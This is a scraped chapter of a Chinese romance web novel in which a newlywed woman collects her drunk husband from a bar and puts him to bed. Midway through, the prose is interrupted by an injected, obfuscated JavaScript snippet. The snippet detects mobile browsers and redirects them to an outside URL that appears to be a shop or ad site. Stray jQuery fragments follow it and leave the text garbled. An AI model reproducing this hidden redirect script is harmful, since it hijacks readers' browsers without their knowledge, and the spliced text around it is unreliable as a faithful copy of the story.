九月初的青杭依旧暑气蒸腾，夜风都带着黏腻的热。
俞惜站在“TheNight”门口，第三次确认手机上的定位。
靳柏寒的消息还亮着：嫂子，我哥喝多了，你来接一下？
五天前领的证。当天她就飞了川城出差，今早刚回来就开了一整天的会，洗漱完准备睡觉时收到了这条信息。
俞惜盯着屏幕上“嫂子”那两个字思绪渐渐飘远，还没完全适应这个称呼。这些天虽然不在他身边，但每天早晚准时问候，分寸感极强，不强求回复，也不显得冷淡。
像一种无声的履约。
他们是合法夫妻。名义上，她是应该去的。
这也算是夫妻义务的一种吧？俞惜想。
她抬头望向不远处那扇半掩的玻璃门，里面隐约传出轻缓的音乐声。
指尖在屏幕上停顿了两秒，俞惜拨通了通讯录里那个还没存进常用联系人的号码。
响了三声，电话才被接起。
“喂？”
那头的声音比记忆里哑，混着轻缓的音乐，听不真切。
“我到了，是叫‘TheNight’嘛？”没听到回复，俞惜问道，“你还好吗？”
电话那头沉默了两秒。
“没事，你稍等一会儿，我现在就出来。”
俞惜点头，挂断了电话。她靠在门边的阴影里，看着偶尔进出的人。
衣着光鲜的男男女女，三三两两，笑着闹着。没有人注意到角落里的她。
俞惜垂下头，听声音他应该还是清醒的，问题不大。
一抬头——
就撞进一双眼里。
那双眼睛正在看她，目光很直，没有醉酒的涣散，却也不像清醒时那般含着分寸，但也只是单纯地看着。
俞惜下意识往后退了半步。
眼前的人，眉眼间带着倦色，眼神却亮得惊人。
不是她记忆中那个得体克制的陈靳白，也不是短信里那个准时问候、分寸感极强的陈靳白。
陈靳白站在门廊的灯下，衬衫袖口挽到小臂，领口松了一颗扣子。他就那样站在光影交界处，看着她，一动不动。
俞惜被看得有些不自在，主动走上前：“你……还好吗？”
话音刚落，他的身体就压了过来。
俞惜条件反射地伸手去扶，温热的重量压下来，混着酒气和一点清冽的气息，猝不及防地将她笼罩。
“陈靳白？”俞惜试探着唤他。
他轻“嗯”了一声，像是回应，又像是无意识的呢喃。呼吸落在她耳侧，一下一下，温热而绵长。
“你能走吗？”俞惜偏过头看他。
他没应声，只是微微侧脸，垂眼看她。
俞惜别开眼，架着他的手臂往外走。到底是一个成年男性，陈靳白即使配合地迈步，俞惜还是踉跄了一下。
一路沉默。
把人塞进后座，俞惜绕到驾驶位，从后视镜里看了他一眼。陈靳白仰靠在座椅上，闭着眼，喉结微微滚动。
“地址？”她问。
陈靳白报了地址，声音比电话里更哑。
俞惜发动车子，夜风从半开的车窗灌进来，吹散了一车的酒气。她开得不快，余光时不时扫过后视镜。他一直没睁眼，呼吸平稳得像睡着了。
等红灯时，她终于没忍住又看了一眼。
这一次，他的眼睛是睁着的，正从后视镜里看她。目光相接，他没有躲，反而弯了弯嘴角。
笑容很淡，却让俞惜莫名想起相亲那天，他说“我们两个人认识的时间不长，要是再不好好沟通肯定长久不了”时的样子。
绿灯亮了。
俞惜收回视线，踩下油门。车子停进小区地库，她绕到后座拉开车门。
陈靳白已经坐起身，却没有要自己下车的意思，就那么看着她，像是在等什么。
俞惜伸出手。
他没有把重量全压过来，却也没有完全自己走。两人以一种奇怪的姿势进了电梯，镜面里映出他们并肩的身影。
“几楼？”俞惜问。
他又报了一遍地址，俞惜按下楼层。
电梯上行，数字跳动，狭小的空间里只有两人的呼吸声。
到了家门口，陈靳白松开俞惜。
俞惜伸手去拉他：“你慢点。”见他稳稳当当地倚在门旁才放下心。
“密码多少？”
“1078-8956。”
女孩模样认真，陈靳白就这么安静地看着她。
解锁声传来，“欢迎回家。”
俞惜将陈靳白扶到沙发上，那道目光还是一错不错地跟着她。
“我去给你倒杯水。”
俞惜被看得有些不自在找借口想走，却被陈靳白一把拉住。
“怎……怎么了？”
明明喝醉的是陈靳白，俞惜却觉得自己的嗓子也有些干涩。
“你是谁？”
俞惜有些错愕，以为是自己听错了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500914|202727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
直到陈靳白再度重复，语气里带着点她没听过的，近乎是委屈的东西。
“你是谁？”
一路上，除了在“TheNight”门口脚步有些不稳，陈靳白表现得都非常正常，俞惜本以为他只是微醺，现下看来，陈靳白只是酒品好。
“俞惜，我叫俞惜。”
没得到满意的答案，陈靳白没松手，就这么拉着她也不说话。
俞惜顺着陈靳白的动作，坐在他身旁。
“我是俞惜，我们前段时间刚领证，是你的妻子。记起来了吗？”
俞惜看着他的眼睛，试图看出他到底是清醒还是沉醉。但除了红血丝，其余的都没看出来。
怎么能和酒鬼讲道理呢？
俞惜失笑，不打算和陈靳白多说，想扶他去休息。
“俞惜。”
声音很轻。
俞惜“嗯”了声凑近，听到他说——
“她骗了我。”
这下不是错觉，俞惜听出了他的委屈。
“没有吧？”她下意识问，“她骗你什么了？”
陈靳白看着她，目光直直的：“她说她在出差。”
俞惜张了张嘴。
“她怎么会来接我？”他问，声音更低了，像是自言自语，“她不会来。”
热气混着酒气，一下一下洒在俞惜耳边。
她忽然想起那条被自己忽略的信息，是他中午问她回来的航班信息。
彼时她在院里开会，等看见时已经太晚了。后来被一堆琐事困住，那条信息就被压到了最下面。
俞惜张了张嘴，想说点什么，却听见他又嘟囔了一句：“我有点困了，想睡觉……我感觉天花板在转，你扶我过去好不好？”
俞惜将陈靳白扶进卧室，替他盖好被子。
刚想走，手腕又被人握住。
他没睁眼，声音含糊得像梦呓：“俞惜，书房隔壁是次卧，床品都是干净的。我喝酒了没法送你回去，你睡一晚，我明天再送你回去好不好……”
说完，头一歪，彻底睡过去。
客厅的光从门缝透进来，在他脸上落下一道浅影。眉头还微微蹙着，好像梦里还在为什么事烦心。
俞惜站在床边，看着那张安静的睡颜。她低头看了眼被他握过的手腕，那里还残留着一圈温热的触感。
黑暗里，俞惜翻了个身，把脸埋进枕头里。
怎么办？
好像和自己之前设想的完全背道而驰了。